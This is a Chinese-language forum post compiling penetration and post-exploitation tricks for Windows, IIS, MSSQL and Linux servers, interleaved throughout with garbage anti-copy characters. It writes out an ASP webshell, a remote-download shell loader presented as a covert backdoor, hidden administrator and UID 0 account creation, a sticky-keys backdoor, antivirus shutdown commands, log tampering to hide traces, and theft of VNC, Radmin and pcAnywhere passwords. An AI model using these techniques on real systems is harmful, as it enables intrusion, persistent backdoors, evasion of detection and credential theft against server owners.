渗透技巧总结

admin

旁站路径问题
2 Y+ U: G0 L% W6 D, g1、读网站配置。
2、用以下VBS
On Error Resume Next
! X! @0 y2 o6 M& ~5 H" {/ NIf (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
" m( Q+ x) p0 u. D; Q- a- o/ n        
# \: |7 d. d; M. |4 P# q( x/ [
Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

Usage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
End If
Set ObjService=GetObject
1 b: p! {5 C% Z2 w3 D- b, K/ V
("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
        If IsNumeric(obj3w.Name)

Then
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
  g1 w0 t( T4 |4 ]2 k         
0 `' c# L7 R- W/ z/ B  T% f& U
       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err
- r0 [# d$ c% P2 c% y! E
1 u' _$ v/ T& L+ M( l/ g& l& m<> 0 Then WScript.Quit (1)
# K# V& o: R( B                WScript.Echo Chr(10) & "[" &
, p0 a- \" y9 O% w: s, R
OService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
     

                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
3 Q' w9 T/ s$ N6 ?. T/ s) J3 U                        

WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
! f( }! X; T! q                Next
      
: @/ M! X2 ^" }; l0 t! K$ ~( ]0 B
3 V7 J: L0 O' M  ?3 D" T2 p3 s: Z+ {         WScript.Echo "ath            : " & VDirObj.Path
        End If
Next
复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
8 O! Q' S2 l, p  b' r8 ]1 g; e4 @$ w—————————————————————
: X: _2 e* V5 X, \6 VWordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
! e1 A; Q3 n8 k( Q. d! }- Eurl/wp-content/plugins/akismet/hello.php
) `. {5 V# K7 D——————————————————————
phpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
2 n/ m2 q6 J& y" ]phpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
  O- N* g& L0 J. Y网站可能目录(注：一般是虚拟主机类）
6 U# Y9 z8 ^+ s, Y6 `& ~, d7 Ldata/htdocs.网站/网站/
+ F; @2 I$ Z; \9 o6 `+ r————————————————————
! \+ {$ {7 Q# G$ vCMD下操作VPN相关
1 T' o7 N* g# j4 y7 P' F! Snetsh ras set user administrator permit #允许administrator拨入该VPN
5 l  K- O- H2 w7 n& ~netsh ras set user administrator deny #禁止administrator拨入该VPN
' N8 p  @8 }* C7 T) H8 r0 Nnetsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
命令行下添加SQL用户的方法
/ o2 o+ ~$ E' e3 S( P需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
' H5 h9 M1 {# [, d0 e0 Z# _然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
8 W, z8 a' }, |# n) }8 N
另类的加用户方法
7 H' K% _6 a. s& \5 j# ^; e在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
" H, F( k8 R* @( l9 kvar o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
z.changePassword("123456","")
, H/ f7 a% @! |7 o  s8 M/ R: ]% @2 Gz.setting("AccountType")=3;

vbs:
: e. d7 F$ K1 v4 `/ V, dSet   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3
( D% J! l- M, T' }——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
# R( p( y3 |/ a. \9 g- A0 E
: X. {+ X+ |4 ?( G( b& c命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
* t6 x  H- J- ~8 L- v8 ]: A- O( k$ C————————以下配合PR更好————
3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
c、终端服务器超出了最大允许连接
8 ?& j& i; I$ }9 [XP 运行mstsc /admin
/ x! J+ g% p% Y, L2003 运行mstsc /console   

杀软关闭（把杀软所在的文件的所有权限去掉）
3 _* i! a5 y; F2 K处理变态诺顿企业版：
: d* ]0 A8 L* O3 {; Z- \; x2 unet stop "Symantec AntiVirus" /y
8 a" X6 _6 @# [net stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
. q# Z7 w  H- w6 h# w+ i. g, s" unet stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y

卖咖啡：net stop "McAfee McShield"
————————————————————
. E' r- Y% y. |" w9 x" v3 ^
5次SHIFT：
. g+ y( A* n% J* V2 s0 {. [, Qcopy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
- M" M  U5 h- S; K; k+ Q2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
: t0 k. h; _* e! d5 x* ?4、利用Hacker Defender把相关用户注册表隐藏
9 h9 W6 [0 I' F5 T/ a8 n. L6 X' Y$ w& |——————————————————————
MSSQL扩展后门：
USE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
! w0 c# Q! M- L/ {! I7 p2 h———————————————————————
日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
1 D* ?# m+ [" K' ~4 U% M2 \直接删除 ex0111124.log
$ m8 N" W0 n, @* I不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
$ S5 _" b- B3 v, i- O9 c  U4 u当停止msftpsvc服务后可直接删除ex011124.log
8 ?/ F: ~+ \: X1 s
MSSQL查询分析器连接记录清除：
$ m2 x) ?( S/ Z: x  D$ \4 }MSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
, w9 |& c) d8 S找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
, p5 x$ n) F& w  k% b2 L2 y9 Y
# E0 u2 G* v( L* W; ?% H, ?Server\90\Tools\Shell\mru.dat
+ C% e' d6 m2 U$ r) N6 J# Q, ^—————————————————————————
防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

<%
# f7 s7 U! D( @7 I" xSub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
2 x; ^% ^( {9 e  ?On Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
; Z  C6 f, t$ s" a" m$ M4 tWith Retrieval
' ?3 h7 x5 w" i" @9 j1 z  s: P.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
+ k/ ~6 U' q9 W! D5 v7 EGetRemoteData = .ResponseBody
5 n. y% Y8 v: }5 }' e% ~; VEnd With
+ S! d; w& N$ d% L1 _% E( V3 [5 ~Set Retrieval = Nothing
5 L5 g. M, I2 n' c, BSet Ads = Server.CreateObject("Adodb.Stream")
8 i2 ~3 A" @1 I: I& {; `: X' [7 WWith Ads
.Type = 1
.Open
$ s$ R8 l- J! w" ?5 ~2 E  p  }.Write GetRemoteData
/ L6 S2 \4 H) o' |" Q.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
; K$ R" T, {: s2 d( _3 [.Close()
End With
# o5 W6 r, g' a1 ]Set Ads=nothing
+ Y% b; R- r! V! l' ?2 uEnd Sub

eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
) h* [; l3 A7 Q$ }: |: W2 Q%>

9 S/ ?+ t& d: N; p' RVNC提权方法:
' o) X, r: f; W! W0 J. w8 {8 I! k利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
) W. n+ E8 \5 o. Q' G注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
/ R- B6 \. u4 ^6 U3 m保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
$ ^5 x8 a' ^: ~* A0 a' k——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
6 O8 x& [( e  k, k. w( c来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
4 a0 f2 t5 s3 S# Q1 I7i24的web目录也是可写，权限为administrator。

% [6 e* D) }: M1433 SA点构建注入点。
<%
strSQLServerName = "服务器ip"
! x: q+ y0 w6 o  ?: `8 q( M6 W$ ]+ HstrSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
: w9 S' j3 p/ T, U) k
strSQLDBName & ";"
conn.open strCon
dim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
" e; X! T, h( @id = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
$ g# c9 l" m# v+ L: z- Xrs.close
%>
复制代码
******liunx 相关******
一.ldap渗透技巧
4 S! L5 i# N9 K1.cat /etc/nsswitch
- A, o4 n' T1 V7 a5 h: B: ~" ]看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
0 U0 c- l8 t5 c3 L8 t" |1 v" k找到ou,dc,dc设置
- i% w! S4 Q% L* q
3.查找管理员信息
1 X# i( l5 C+ x3 `) U2 ^5 j匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
+ H, t2 _8 m4 X  {! B
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
$ w: M# q6 }8 ^8 C
. Q# u; T* ?0 I8 u"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


4.查找10条用户记录
; ?) B9 b+ v+ Z# [ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

实战:
+ n+ }$ {: E# R5 F6 @, D1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

' }. H  J0 p- Q( L2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
, T0 S1 T0 j3 R6 R) X找到ou,dc,dc设置

3.查找管理员信息
匿名方式
. x6 |3 w2 {# a# U5 c( lldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
8 S0 U1 N9 `7 {7 M& b) sldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


; p7 s% E% ^9 u+ ?! l8 `4.查找10条用户记录
' K6 H* G7 P! H: _ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

* R  h9 G5 x* e; i. c渗透实战:
+ w# _4 ~) T/ \' B; f6 q( T0 A( O1.返回所有的属性
9 g! N+ h$ j" [5 s/ O1 Fldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
# c& h! \3 B$ K- e* b  Wversion: 1
; U5 z, a& n7 V( jdn: dc=ruc,dc=edu,dc=cn
8 f5 D2 J! z8 }+ ^, Ydc: ruc
objectClass: domain

! |$ s- d! Y5 E: T) qdn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
. o/ M, n" _9 X7 v2 cobjectClass: inetOrgPerson
objectClass: organizationalPerson
7 W% h. ^" r5 B) c4 Y8 l1 PobjectClass: person
objectClass: top
. Q3 r; K; @0 l- ?sn: manager
, P8 ^# \# {! Q6 t/ t5 ^cn: manager

dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
# s, w  x0 D5 q  y% t1 \uid: superadmin
( i& Y: J. v: V$ UobjectClass: inetOrgPerson
: G. X; S5 \$ Y" t6 K1 \objectClass: organizationalPerson
9 N5 ~5 P& A# V) z+ }objectClass: person
( D4 [0 Y: I3 |3 ?  u! EobjectClass: top
! Z* e' j8 Y+ _3 s  y' P4 Bsn: superadmin
- ?$ o/ z& D# L7 C- tcn: superadmin

dn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
; P' z: T; z" [objectClass: inetOrgPerson
/ j  ~8 O3 n  z% R( DobjectClass: organizationalPerson
objectClass: person
objectClass: top
sn: admin
  ?7 [3 _! u8 ?cn: admin
9 i# v! g/ R, x0 C( Q
dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
5 Z& a/ C- R& E  s0 h  T: c7 Muid: dcp_anonymous
objectClass: top
& K( y; ~6 o; _+ v6 X$ u/ ]! i  h. VobjectClass: person
7 }8 |8 e+ \* i; r5 m- K* E& r  mobjectClass: organizationalPerson
objectClass: inetOrgPerson
sn: dcp_anonymous
# u' E3 T% }  ]cn: dcp_anonymous
3 h. R6 K! S% J9 A7 z7 Q
) m, ^: t6 j$ H- o, ~* e2.查看基类
7 T) Z. O$ j2 Q9 o! cbash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

more
version: 1
: P& }" k# x/ H) q3 @; @dn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain

; T: D% w4 S; \5 F  r" n# C3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
dn:
objectClass: top
) R; A' X# N+ u7 r* \- j& g+ L! snamingContexts: dc=ruc,dc=edu,dc=cn
8 x% n+ [" X/ csupportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
! v' }( _2 h$ U' q2 bsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
$ i) T- ?0 M7 Y7 q9 w! hsupportedExtension: 2.16.840.1.113730.3.5.3
/ j4 e( {# V6 Z8 `supportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
6 V  W& q. e6 s: f3 @supportedExtension: 2.16.840.1.113730.3.5.4
8 f- b3 ?4 [4 l7 c) rsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
, Z! {9 C8 p/ PsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
' o( X. Q3 m) o2 p7 x' G6 GsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
( i' A& `6 k& a1 P$ H, g* FsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
7 ~" x; A3 q) Q: J7 e, ?supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
. D' G/ w% ~& t" A( X6 S8 ]3 ?supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
0 I7 @; `! N) lsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
$ V4 y6 g! {! ^supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
! e; }) ?" Y7 v) UsupportedExtension: 1.3.6.1.4.1.1466.20037
6 A1 u7 W( ?* W  ~* v2 OsupportedExtension: 1.3.6.1.4.1.4203.1.11.3
* }6 t) c, l! V  o- l2 X+ I+ `  IsupportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
7 g" ^$ k; W! _& I+ UsupportedControl: 2.16.840.1.113730.3.4.5
: @, i( N. V3 Z& J4 EsupportedControl: 1.2.840.113556.1.4.473
9 n) C8 A8 b- g& N& M. N" {  n3 VsupportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
. U3 _- V# c' S1 e2 ZsupportedControl: 2.16.840.1.113730.3.4.15
8 j) e& W7 u+ u2 q4 J  psupportedControl: 2.16.840.1.113730.3.4.17
+ f$ C) `5 `" |, l" H# csupportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
# x) s; N- x) gsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
7 w: {8 y3 j- [2 n( T: IsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
) B- R* M9 L3 v% gsupportedControl: 2.16.840.1.113730.3.4.14
, e7 o& D2 b& D2 Z/ _: @% ksupportedControl: 1.3.6.1.4.1.1466.29539.12
& Y* G1 M/ `/ U# xsupportedControl: 2.16.840.1.113730.3.4.12
5 w+ r( y& ?% P" `supportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
" o2 F3 ^% W9 t, s  v8 l! B& z7 wsupportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
( ]: ^1 l1 }1 {+ m1 ]$ R  KsupportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
2 X+ }+ ^3 u" t  P8 y& O7 ]+ knetscapemdsuffix: cn=ldap://dc=webA:389
$ C9 s/ H+ x/ K8 V) b# vsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
! ~, _4 ^5 X0 i6 WsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
. h. n. v" q: P. F& O6 T. YsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
, P4 V* S: s( v* U1 l' r5 r, o) EsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
) h4 s( q% Q: c- m5 a, \supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
9 t+ x6 y0 D1 i! h4 f* isupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
7 y; e" \1 k: V. RsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
% p' Y0 q# N+ a! d. ^supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
- H+ @# h' M9 m/ J0 n" @# LsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
0 j+ C9 E3 I8 G8 csupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
/ }6 i: D3 c$ r' OsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
. C  E- M" a) I4 W4 @6 @supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
7 m0 e% R$ N2 l- U/ j' n- XsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
% Z7 @  t) s( C2 M& ]+ LsupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
1 o- @1 K8 v$ K8 n3 g5 r. |supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
1 y9 q) t, W; v% ^: SsupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
) j- m: F) R- K) asupportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
9 ~% e& |+ t. {. f- S" ?& JsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
) R$ J4 j2 P$ g" U& UsupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
$ U2 x# D! w( Y7 f7 Z+ H1 j- ksupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
; w8 p4 A) ?7 i( M1 ^supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
. U( g1 T1 Q0 \/ z# csupportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
  X  ]  d: R& ]supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
% d0 O# ?1 P0 R$ s, esupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
3 i3 N% B2 E' h' B  Z) `& zsupportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
& x) x$ R) |# E! ]* A; w" Z) Z$ ksupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
9 B2 S6 s, K; Q. PsupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
4 w- F7 x1 K# _( x————————————
8 t5 C6 a( e8 Q6 y" _( q2. NFS渗透技巧
showmount -e ip
列举IP
" _& H7 n2 f+ U0 i8 v——————
* y7 K( k/ R( Q0 V) o3.rsync渗透技巧
1.查看rsync服务器上的列表
rsync 210.51.X.X::
: }$ L7 i) d7 M' p: i9 a: gfinance
img_finance
$ ^8 E& V) i+ gauto
img_auto
3 Z+ [" r* m$ |* l  Y- ]html_cms
img_cms
% [- a# I# {7 went_cms
% [8 h$ H" d( |, dent_img
" x  R( k3 a5 L" I" d$ O; Cceshi
8 B# u% c$ q3 b' w! X& Dres_img
9 r4 }4 W( J  Pres_img_c2
, N7 ]: m& T: p* |2 kchip
6 ?+ j! Q1 I6 c0 q2 _- Vchip_c2
ent_icms
games
2 X! E/ {& b/ h& \% q1 [5 tgamesimg
media
mediaimg
fashion
! T# u  Q4 \1 @1 Jres-fashion
res-fo
taobao-home
  f- D  b  i- B' y! Nres-taobao-home
: J7 S' i- ]% o/ }house
res-house
2 q( o  d9 c2 B- o" e7 Ares-home
- ]/ f+ n7 o; y( Y$ Jres-edu
res-ent
1 W4 s9 p, C0 y* U2 v0 o4 ]res-labs
res-news
5 L, _+ X3 a- N2 ires-phtv
7 }2 @" N5 A/ Q# }! G: i& pres-media
home
% u4 f& S( D2 q* o# i1 Medu
: b5 ~" u8 y* A1 Z; O" }* fnews
res-book
. z' V+ s* U3 }
% s1 N& m/ B/ a7 G9 {! S. R看相应的下级目录(注意一定要在目录后面添加上/)
/ c; G* K& L2 _! ?
, [8 [2 Y! K+ X$ o9 E
rsync 210.51.X.X::htdocs_app/
  X3 a0 }' n5 E2 F( p) _# }) ~. ^# srsync 210.51.X.X::auto/
% h8 j: D) L& k9 ^; Prsync 210.51.X.X::edu/
; x2 g+ B) D) c  ?
2.下载rsync服务器上的配置文件
4 K: Z. O+ d" S6 d& E9 Arsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
3 K% |* j, c, ~- d! i6 G# C
3.向上更新rsync文件(成功上传,不会覆盖)
: @6 c% F. ]2 ~4 l. T# X& `5 ~rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
% p% k8 D9 R. [$ q6 g! n% R2 whttp://app.finance.xxx.com/warn/nothack.txt
9 p$ R( s% n" N( z1 F
3 L# y4 p# _- v  z/ o四.squid渗透技巧
nc -vv baidu.com 80
0 u4 Y* Q! Q/ e/ VGET HTTP://www.sina.com / HTTP/1.0
4 Y! s: o; p' o: b+ K: cGET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
1 V. u; W/ E( B3 ]. h
5 h- q% I' D, J4 k  n六.joomla渗透小技巧
/ r$ H: Z, M3 h7 s% n/ p确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
- Y1 C- w" G: v
15&catid=32:languages&Itemid=47

重新设置密码
7 E, ?" E/ _: N; Mindex.php?option=com_user&view=reset&layout=confirm

七: Linux添加UID为0的root用户
- M0 A0 L8 g7 U# @2 L+ \7 vuseradd -o -u 0 nothack
, l) e5 E: ]; ]$ f1 i3 J
八.freebsd本地提权
[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
6 g6 _3 @7 b5 H' c; ^7 z# ~2 N* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
. g3 C- B7 K, w8 ~( B0 E- l* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
/ D' L+ j+ g  n9 O7 O; z: F* [argp@julius ~]$ ./nfs_mount_ex
8 Q" ?4 Y4 m( ]$ V0 l*
calling nmount()

: H$ q' Q5 Y. Q- {（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
. f& J, l2 S5 N. z1 v——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
$ T4 U; b. d* z( G, \* K/ E( o1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
